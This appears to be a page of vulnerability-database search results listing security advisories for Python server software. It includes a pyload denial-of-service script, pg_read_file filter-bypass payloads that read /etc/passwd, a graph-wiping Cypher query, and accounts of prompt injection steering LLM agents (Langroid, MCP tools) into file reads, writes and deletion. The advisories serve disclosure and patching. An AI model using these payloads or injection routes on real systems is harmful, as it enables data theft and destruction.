Search: server.py
1,271 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.7 | High7.7GCVE Database ### Impact In Phantom <= 1.3.0, when `PHANTOM_OUTPUT_DIR` was unset (the default), the MCP tools accepted arbitrary absolute output paths with no confinement. Anything able to send tool calls (e.g. an AI agent driving the MCP interface) could **write or overwrite arbitrary files** the process user can write — including shell startup files (`~/.zshrc`) or a Reaper `__startup.lua`, which is effectively local code execution on a developer workstation. Separately, the stem-separation and render paths decoded input audio with no size/duration cap (the analysis path was already guarded). A small, highly compressed FLAC/OGG could expand to multi-gigabyte PCM, causing memory-exhaustion DoS, and widened exposure to decoder bugs including libsndfile CVE-2026-37555. ### Patches Fixed in **1.3.1**: - File writes are always confined to `PHANTOM_OUTPUT_DIR` (default `~/.phantom/output`); symlinks resolved and re-verified on the final path. - Decode/duration/size guards mirrored onto the separation and render paths (plus ffmpeg `-max_alloc`/`-t`/`-fs`). - Atomic `O_CREAT|O_EXCL` output creation in reference matching and symlink-TOCTOU hardening on confined input reads. ### Workarounds Set `PHANTOM_OUTPUT_DIR` (and optionally `PHANTOM_AUDIO_DIR`) to dedicated directories before starting the server. ### Credit Found during an internal security audit. | GCVE Database | |||
| Medium | 6.5 | EPSS 0.4% | Medium6.5EPSS 0.4%GCVE DatabaseCVE-2026-48987 ## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs. | GCVE Database | ||
| Medium | 4.9 | EPSS 0.3% | Medium4.9EPSS 0.3%GCVE DatabaseCVE-2026-48737 ## Summary `is_global_address` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is "globally routable" via Python's `ipaddress.ip_address(value).is_global`, and callers treat `not is_global` as "deny": ```python def is_global_address(value): try: return ipaddress.ip_address(value).is_global except ValueError: return False def is_global_host(value): ips = host_to_ip(value) return ips and all((is_global_address(ip) for ip in ips)) ``` Python's `ipaddress.IPv6Address.is_global` classifies the NAT64 well-known prefix as **globally routable** on every supported Python version (3.9 through 3.14 confirmed), and on older Pythons (3.9-3.11) the 6to4 prefix as well: | address | `is_global` on Py 3.9-3.11 | `is_global` on Py 3.12+ | wrapped IPv4 | |----------------------------------|---------------------------|--------------------------|----------------------| | `2002:7f00:0001::` (6to4) | True | False | 127.0.0.1 | | `2002:0a00:0001::` (6to4) | True | False | 10.0.0.1 | | `2002:a9fe:a9fe::` (6to4) | True | False | 169.254.169.254 (IMDS)| | `64:ff9b::a9fe:a9fe` (NAT64) | True | True | 169.254.169.254 | | `64:ff9b::7f00:1` (NAT64) | True | True | 127.0.0.1 | pyload-ng declares `python_requires = >=3.9` (`setup.cfg`), so deployments on Python 3.9-3.11 see the 6to4 path too. The NAT64 path is universal. `is_global` returns True for these wrappers, so `is_global_address` returns True and the deny check passes. The pycurl `PREREQFUNC` at [`src/pyload/core/network/http/http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/network/http/http_request.py#L680) consults the same helper just before TCP-connect: ```python if not self.allow_private_ip: is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port) if not is_global_address(conn_primary_ip) and not is_proxy_ip: return pycurl.PREREQFUNC_ABORT return pycurl.PREREQFUNC_OK ``` On a host with 6to4 routing (legacy operator tunnels; `2002::/16` still configurable) or NAT64 (cloud IPv6-only subnets with NAT64 gateway), the encoded form routes to the embedded IPv4 and the curl connection terminates at the internal endpoint, defeating the deny. `is_global_host` (the helper that callers like `parse_urls` use against a URL hostname) feeds through `host_to_ip` which pins `family=AF_INET`, so hostname-based reach to these forms relies on the attacker supplying an IPv6 literal in the URL — but the curl PREREQFUNC sees the actual resolved IP (the AAAA returned for the hostname), so a hostname with an AAAA record set to one of the bypass forms reaches the same gap. Cross-reference: this is the same incomplete-coverage class as pydantic-ai's [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / CVE-2026-46678. pyload-ng's prior SSRF advisories [GHSA-7gvf-3w72-p2pg](https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg) and [GHSA-8rp3-xc6w-5qp5](https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5) both went through `is_global_host` / `is_global_address`; the IPv6 transition gap is orthogonal to those redirect-bypass classes. ## Severity **MEDIUM** — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L` = **4.7** - `AC:H` — exploitation requires the host network to route 6to4 (`2002::/16` traffic), have a NAT64 gateway, or otherwise resolve the IPv6 transition form to an internal IPv4 endpoint at the TCP layer. - `PR:L` — `parse_urls` ([`src/pyload/core/api/__init__.py:582`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/api/__init__.py#L582)) requires `Perms.ADD`, which any account capable of adding links holds. The curl PREREQFUNC at [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) is reached by every downloader plugin that runs after `is_global_host` passed. - `C:L/A:L` — internal-network recon and timing-based confirmation; cloud-metadata exfiltration on networks where the transition form actually routes. **CWE-918**: Server-Side Request Forgery (SSRF). ## Affected versions `pyload-ng` from the introduction of `is_global_address` / `is_global_host` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) up to an | GCVE Database | ||
| Medium | 6.1 | EPSS 0.4% | CVE-2026-55648Prior to 3.27.0, freerdp_image_copy_from_icon_data Medium6.1EPSS 0.4%GCVE DatabaseCVE-2026-55648 FreeRDP versions prior to 3.27.0 contain a vulnerability in the freerdp_image_copy_from_icon_data function where a 32-bit arithmetic overflow occurs during size calculation. A malicious RDP server can exploit this by sending icon dimensions that cause the size calculation to wrap, bypassing bounds checks and leading to a potential denial of service. This issue affects RemoteApp clients using the vulnerable library path, while xfreerdp has a mitigation. The vulnerability is fixed in FreeRDP version 3.30.0+dfsg-0ubuntu0.24.04.1 and later. | GCVE Database | ||
| Medium | 5.9 | EPSS 0.3% | CVE-2026-54590ronf asyncssh · Path Traversal Medium5.9EPSS 0.3%CVE Database V5CVE-2026-54590 AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.5% | CVE-2026-54591ronf asyncssh · Path Traversal High8.1EPSS 0.5%CVE Database V5CVE-2026-54591 AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Prior to 2.23.1, a malicious SSH server can write arbitrary files on the asyncssh SCP client's filesystem by sending filenames containing ../ traversal sequences because _parse_cd_args in scp.py returns server-provided names verbatim and _recv_files joins them to the destination path without enforcing the target directory boundary. This issue is fixed in version 2.23.1. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | Medium5.9EPSS 0.4%CVE Database V5CVE-2026-58501 Zeep is a Python SOAP client. From 4.0.0 before 4.3.3, Settings.forbid_external is defined but not enforced when parsing WSDL or XSD documents, allowing transitive xsd:import, xsd:include, wsdl:import, and lxml entity or DTD references to fetch attacker-chosen HTTP or HTTPS URLs. This issue is fixed in version 4.3.3. | CVE Database V5 | ||
| Low | 2.1 | EPSS 0.9% | CVE-2026-59821BerriAI litellm · Code Injection Low2.1EPSS 0.9%CVE Database V5CVE-2026-59821 LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.82.0-stable, LiteLLM's Custom Code Guardrails production create and update paths did not apply the same sandboxing and validation used by the test endpoint, allowing a privileged user with access to create or update guardrails to submit custom Python code that executed in the LiteLLM proxy environment and could expose secrets available to the process. This issue is fixed in version 1.82.0-stable. | CVE Database V5 | ||
| Medium | 6.0 | EPSS 0.4% | CVE-2026-58472gnuwget wget · Integer Overflow or Wraparound Medium6.0EPSS 0.4%CVE Database V5CVE-2026-58472 GNU Wget through 1.25.0, fixed in commit dd692d9, contains a heap buffer overflow vulnerability in the html_quote_string() function in src/convert.c that allows a remote attacker to trigger memory corruption by supplying a crafted HTML attribute with a large number of characters requiring entity encoding. A server-supplied HTML attribute causes a signed integer counter to overflow during output size accumulation, resulting in an undersized heap allocation and subsequent heap buffer overflow during the copy phase. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%GCVE Database Open WebUI versions up to 0.7.2 contain a blind Server Side Request Forgery (SSRF) vulnerability in the image editing functionality. The vulnerable function performs an asynchronous GET request on a user-supplied URL without restricting the domain, allowing interaction with local network addresses. Because the SSRF is blind, attackers cannot see the response but can infer open ports on the local network by detecting request failures. This enables port scanning of the local network and potentially interacting with services that accept state-changing GET requests. | GCVE Database | ||
| Critical | 9.8 | EPSS 1.6% | CVE-2026-33264Apache Airflow · Deserialization of Untrusted Data Critical9.8EPSS 1.6%CVE Database V5CVE-2026-33264 A bug in `BaseSerialization.deserialize()` allowed unrestricted `import_string()` of attacker-controlled class paths when the Scheduler / API Server loaded a serialized DAG: a DAG author could embed a malicious trigger into a DAG to gain remote code execution on the API Server / Scheduler process, crossing the Airflow security boundary that DAG-author code must never execute in those processes. Users are advised to upgrade to `apache-airflow` 3.3.0 or later. As a defense-in-depth mitigation, deployments where DAG-author trust is limited can restrict the `[core] allowed_deserialization_classes` config to a narrow allowlist. | CVE Database V5 | ||
| High | 7.2 | High7.2GCVE Database ## Summary The datapoint export API builds a PostgreSQL crosstab export query by concatenating asset display names into raw SQL. An authenticated user who can create or rename an asset and then request a crosstab datapoint export can inject SQL through the asset name. The injected query output is streamed back to the caller inside the normal ZIP/CSV export response. This creates a practical database exfiltration primitive through the application API. In a multi-tenant deployment, this can expose data outside the attacker's tenant if the application database role can read shared manager tables. ## Affected Component - Datapoint export endpoint for asset datapoints. - Crosstab export formats, specifically CSV crosstab-style exports. - Query builder path that constructs a `COPY (SELECT ... FROM crosstab(...)) TO STDOUT` statement. ## Security Impact Impact is high. A remote authenticated attacker with asset read/write capabilities can: - Store SQL syntax inside an asset name. - Trigger the crosstab export path for that asset. - Cause the backend to execute attacker-influenced SQL through the PostgreSQL connection used by the manager service. - Receive injected `SELECT` results in the exported CSV contained in the ZIP response. The demonstrated impact is database data exfiltration. The proof of concept safely retrieved database execution context and an aggregate table count. A real attacker could adapt the injected `SELECT` to read other database tables accessible to the application database role. This is especially sensitive in multi-tenant deployments because application tables commonly contain data for multiple realms/tenants in the same database. ## Attack Preconditions The attacker needs: - A valid authenticated session. - Permission to create or rename at least one asset. - Permission to read/export datapoints for at least one attribute on that asset. - Access to a crosstab datapoint export format. No direct database access is required. No server filesystem access is required. No token forgery is required. ## Technical Details The export implementation derives a crosstab header from the asset name and attribute name. It then embeds that header into two SQL contexts: 1. A PostgreSQL double-quoted column identifier: ```sql "<asset name> : <attribute name>" text ``` 2. A category query passed to `crosstab(...)`, wrapped in a fixed dollar-quoted delimiter: ```sql $cat$ SELECT header FROM (VALUES ('<asset name> : <attribute name>')) AS t(header) $cat$ ``` The current escaping is incomplete: - Single quotes are escaped in one string-literal context. - Double quotes in asset names are not escaped before being placed inside quoted identifiers. - The fixed dollar-quote delimiter is not protected against an asset name containing the delimiter token. As a result, an attacker-controlled asset name can break out of the intended SQL grammar boundary and append SQL to the generated `COPY ... TO STDOUT` query. Because the backend streams `COPY` output into the export response, injected query rows are returned to the attacker as CSV. ## Example Exploit Flow 1. Authenticate normally. 2. Create or rename an asset using a name containing SQL metacharacters that closes the crosstab column definition. 3. Ensure the asset has an exportable datapoint attribute. 4. Write at least one datapoint value for that attribute, if necessary. 5. Request a CSV crosstab datapoint export for the crafted asset attribute. 6. Inspect the returned ZIP/CSV. The CSV contains both normal datapoint rows and rows produced by the injected SQL. A safe proof query demonstrated exfiltration of: - `current_user` - `current_database()` - `count(*)` from an application table The returned CSV contained a row equivalent to: ```text <timestamp>,<database_user>:<database_name>:<table_count> ``` ## Root Cause The root cause is manual SQL string construction using user-controlled display data as SQL syntax. The asset name is treated as presentation data in the application model, but later reused as part of executable SQL: - As an SQL identifier in the crosstab output column list. - As a value inside a category query string passed to PostgreSQL. These contexts require different escaping rules. Applying partial string escaping is error-prone and currently misses exploitable grammar boundaries. ## Recommended Fix Avoid embedding user-controlled asset names directly into executable SQL. Recommended options: 1. Do not use asset names as SQL identifiers. - Generate deterministic internal column aliases such as `c1`, `c2`, `c3`. - Keep the user-facing asset/attribute labels outside SQL and apply them only when serializing CSV headers. 2. If dynamic identifiers are unavoidable, quote them using a database-aware identifier quoting function. - For PostgreSQL identifiers, double embedded `"` characters. - Do not perform ad hoc quoting with string concatenation. 3. Avoid fixed dollar-quote delimiters around attacker-influence | GCVE Database | |||
| Critical | 9.2 | EPSS 0.5% | Critical9.2EPSS 0.5%GCVE DatabaseCVE-2026-55615 Neo4jChatAgent passes LLM-generated Cypher queries straight to the Neo4j driver with no validation, no statement-type allowlist, and no opt-out gate. The query text is influenceable by prompt injection (direct user input or indirect content the agent reads back via RAG), so an attacker who can influence the prompt can read or destroy all graph data and, when APOC or dbms.security procedures are enabled on the server, achieve OS-command and filesystem access. This is the same defect class and threat model as the SQLChatAgent prompt-to-SQL-to-RCE issue fixed in version 0.63.0 (CVE-2026-25879); that fix did not extend to the neo4j module. ## Technical detail Untrusted-input to sink trace (reviewed on langroid HEAD b9df06f, v0.65.3): 1. Tool schemas accept raw query text from the LLM. `langroid/agent/special/neo4j/tools.py:4-9` (CypherRetrievalTool.cypher_query: str) and `:15-21` (CypherCreationTool.cypher_query: str). These tools are enabled unconditionally in `neo4j_chat_agent.py:412-419` (enable_message([GraphSchemaTool, CypherRetrievalTool, CypherCreationTool, DoneTool])). 2. Read path. `neo4j_chat_agent.py:300` cypher_retrieval_tool(msg) -> `:325` query = msg.cypher_query -> `:328` self.read_query(query) -> `:223` session.run(query, parameters). The LLM-controlled string is the first positional argument to session.run; parameters is None. No validation occurs between :325 and :223. 3. Write path. `neo4j_chat_agent.py:338` cypher_creation_tool(msg) -> `:348` query = msg.cypher_query -> `:351` self.write_query(query) -> `:276` session.write_transaction(lambda tx: tx.run(query, parameters)). The only inspection of the string (write_query :251-264) is a query.upper() substring test for CREATE/MERGE/CONSTRAINT/INDEX whose sole effect is setting self.config.database_created = True; it blocks nothing. A query such as `MATCH (n) DETACH DELETE n` (the same statement the built-in remove_database helper runs at :287-293) passes unrestricted. 4. Guarded-sibling contrast proving the incomplete fix. The SQLChatAgent, patched for the parent CVE, validates every query before execution. `langroid/agent/special/sql/sql_chat_agent.py:256` defines allow_dangerous_operations: bool = False (opt-in gate); `:618` _validate_query runs (a) a dangerous-pattern regex blocklist (_DANGEROUS_SQL_PATTERNS, :628-641), (b) a sqlglot statement-type allowlist defaulting to SELECT-only (:643-686), and (c) an AST-level dangerous-function blocklist (:687-704). run_query calls rejection = self._validate_query(query) at `:721` before executing. The neo4j read_query/write_query paths have no equivalent: a grep for _validate_query/allow_dangerous in neo4j_chat_agent.py returns nothing. The defense exists for SQL and is simply absent for Cypher, which is the definition of an incomplete fix for the same prompt-to-query-language injection class. ## Proof of concept (static, no third-party systems, no live Neo4j required) Step 1 (presence vs absence of the guard, one command): ``` grep -n "_validate_query\|allow_dangerous" langroid/agent/special/sql/sql_chat_agent.py # SQL: many hits (gate + validator + call site :721) grep -n "_validate_query\|allow_dangerous" langroid/agent/special/neo4j/neo4j_chat_agent.py # neo4j: ZERO hits ``` Step 2 (sink trace is direct, no interposed check): ``` read_query: msg.cypher_query (line 325) -> read_query(query) (328) -> session.run(query, parameters) (223) write_query: msg.cypher_query (348) -> write_query(query) (351) -> tx.run(query, parameters) (276) ``` The only string inspection (write_query 251-264) is a .upper() substring test that only sets database_created=True and rejects nothing. The asymmetry (validator + opt-out gate enforced on every SQL query at sql_chat_agent.py:721; nothing on either Cypher path) is the deterministic artifact: the same project, for the same injection class, guards one query language and not the other. A dynamic confirmation against an operator-owned disposable Neo4j (create a CSPRNG-marked node via cypher_creation_tool, read it back via cypher_retrieval_tool, then DETACH DELETE it) reproduces the read/write/destroy primitive without any third-party system. ## Impact An attacker who can influence the agent prompt (directly, or indirectly via content the agent reads back through RAG) controls the executed Cypher. Floor (no extra config, not contingent): unauthorized read of all graph data via cypher_retrieval_tool and full write/destroy (including MATCH (n) DETACH DELETE n) via cypher_creation_tool, plus the built-in LOAD CSV remote-fetch (SSRF) primitive. Ceiling (config-conditional, when APOC / dbms.security procedures are granted to the DB role, a common deployment): apoc.load.* (SSRF + remote/local file read), apoc.cypher.runFile / apoc.import.* / apoc.export.* (filesystem), and CALL dbms.* admin procedures, i.e. the Cypher analogue of the parent's COPY ... FROM PROGRAM RCE primitive. This mirrors the privileged-role contingency the parent advisory (CVE-2026-25879) accep | GCVE Database | ||
| Critical | 9.3 | EPSS 0.6% | CVE-2026-54760Langroid · SQLChatAgent dangerous-function blocklist can be bypassed with quoted or schema-qualified pg_read_file calls Critical9.3EPSS 0.6%GCVE DatabaseCVE-2026-54760 # SQLChatAgent `_validate_query` dangerous-pattern regex is bypassable via quoted/commented/qualified function names ## Summary The `SQLChatAgent` SQL-injection mitigation, with default `allow_dangerous_operations=False`, combines a raw-text regex blocklist (`_DANGEROUS_SQL_PATTERNS`) with a `sqlglot` SELECT-only statement allowlist. The blocklist entries that target callable functions require the function name to be immediately followed by `\s*\(`. PostgreSQL accepts the same call with the name separated from `(` by a quoted identifier, an inline comment, or schema qualification. These forms evade the regex, still parse as `SELECT`, and execute the same PostgreSQL function. This restores the `pg_read_file` server-side file-read primitive that the prior CVE-2026-25879 / GHSA-pmch-g965-grmr fix was meant to block: the parent advisory fixed a missing `pg_read_file` blocklist entry, while this report shows that the added regex is bypassable. ## Affected Code Tested against current `main` commit: `6e8e7b2bb23ec04c1c25be479f16b8cc9a4f8796` The current source still contains: ```python re.compile(r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(", re.IGNORECASE) ``` `_validate_query` checks the raw query against `_DANGEROUS_SQL_PATTERNS`, then parses with `sqlglot` and allows `SELECT` statements. The dangerous-call check is raw text, not normalized AST function-name matching. ## Root Cause The current mitigation treats dangerous PostgreSQL function calls as a raw-text regex problem. The regex requires the `pg_...` function token to be followed directly by optional whitespace and `(`, but PostgreSQL accepts equivalent calls through quoted identifiers, comments, and schema-qualified names. Because `_validate_query` only uses `sqlglot` to enforce the top-level statement type, those normalized function names are never checked after parsing. ## Auth Boundary The boundary is the default `SQLChatAgent` safety policy between attacker-influenced SQL generation and database operations that can read server-side files. With `allow_dangerous_operations=False`, a user or prompt that influences generated SQL should not be able to bypass the guard and execute PostgreSQL file-read functions such as `pg_read_file`. This is not a new unauthenticated endpoint or product-wide SQL injection; it applies when untrusted user content can influence SQLChatAgent's generated SQL. ## Reproduction The local harness uses the current `sql_chat_agent.py`, extracts the real shipped dangerous regex list, validates the queries with real `sqlglot==30.8.0`, then executes the accepted bypasses against a local throwaway PostgreSQL 16 container. Transcript excerpt: ```text CONTROL "SELECT pg_read_file('/etc/passwd')" -> REJECTED: matches '\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(' BYPASS 'SELECT "pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) BYPASS "SELECT pg_read_file/**/('/etc/passwd')" -> ALLOWED (validator returned None -> would execute) BYPASS 'SELECT pg_catalog."pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) === Part B: real PostgreSQL execution of the bypass === connected; is_superuser=t executed bypass 'SELECT "pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass "SELECT pg_read_file/**/('<file>')" -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass 'SELECT pg_catalog."pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' RESULT: VULNERABLE ``` The control query is blocked by the current regex, while all three equivalent PostgreSQL forms are allowed by the validator and return the mounted proof file contents from a real PostgreSQL server. The `LANGROID_SAFE_MARKER_...` value is a harmless marker generated inside the throwaway local container for this proof. ## Impact On a deployment using `SQLChatAgent` against PostgreSQL with a role able to call `pg_read_file` (superuser, or a role granted `pg_read_server_files`), an attacker who can influence LLM-generated SQL can coerce the agent into emitting one of the obfuscated queries and read files accessible to the PostgreSQL server process through `pg_read_file`. This is the same impact and precondition shape as the published `pg_read_file` advisory, but it targets the bypassability of the current regex-based fix rather than the pre-fix absence of a `pg_read_file` block. Severity: High by parity with the published parent advisory; not Critical. CWE-184 leading to server-side file read. ## Suggested Fix Do not rely on raw-text regex matching for dangerous-call detection. After the existing `sqlglot` parse, walk the AST and reject any function invocation whose normalized, unquoted, schema-stripped, case-folded name is in a dangerous set such as `pg_read_file`, `pg_read_binary_file`, `pg_ls_dir`, `pg_stat_file`, `lo_import`, `lo_export`, `load_file`, or `load_extension`. Also | GCVE Database | ||
| High | 8.4 | EPSS 0.4% | High8.4EPSS 0.4%GCVE Database flyto-core versions >=2.26.2 and <2.26.4 contain an unauthenticated command execution vulnerability via the HTTP MCP endpoint at /mcp. The endpoint accepts unauthenticated JSON-RPC requests that can invoke arbitrary registered modules, including sandbox.execute_shell, which executes attacker-controlled OS commands without authentication or input sanitization. By default, the server binds to localhost, limiting exploitation to local attackers, but if started with --host 0.0.0.0, remote exploitation is possible. A patch is available in version 2.26.4. | GCVE Database | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-55787flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf High7.1EPSS 0.3%GCVE DatabaseCVE-2026-55787 flyto-core contains a Server-Side Request Forgery (SSRF) vulnerability in its URL validation logic. The SSRF guard fails to recognize IPv6 transition addresses that embed IPv4 or loopback addresses, allowing bypass of private IP range checks. This enables authenticated workflow authors to make requests to internal or metadata endpoints, such as cloud instance metadata services or local network services, and receive the response body. The vulnerability affects versions prior to 2.26.3 and is fixed in 2.26.3. | GCVE Database | ||
| Medium | 6.5 | EPSS 0.4% | Medium6.5EPSS 0.4%GCVE Database WeasyPrint versions up to 68.1 have a CSS injection vulnerability when HTML presentational hints are enabled. The vulnerability arises because unescaped attribute values are embedded directly into CSS, allowing attackers to inject arbitrary CSS declarations. This can lead to CSS injection and potentially server-side requests via injected url() functions. The issue is limited to cases where presentational hints are enabled. | GCVE Database | ||
| High | 8.1 | EPSS 1.0% | CVE-2026-49297Apache Airflow Google provider · Path Traversal High8.1EPSS 1.0%CVE Database V5CVE-2026-49297 Apache Airflow's Google provider operators `GCSToSFTPOperator` and `GCSTimeSpanFileTransformOperator` joined GCS object names returned by the bucket listing API directly to a destination filesystem path without normalisation or containment check. A user with write access to the source GCS bucket (typically a different trust principal than the DAG author — partner uploads, ingest-only service accounts, public-data buckets) could create an object whose name contains `..` segments and cause the DAG run to write the downloaded blob outside the configured destination (the SFTP `destination_path` for `GCSToSFTPOperator`; the worker-local temp directory for `GCSTimeSpanFileTransformOperator`), enabling overwrite of arbitrary files on the SFTP server or the worker host. Affects deployments that ingest from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` 22.2.1 or later. | CVE Database V5 |
Page 46 of 79 · 2 duplicate CVE records merged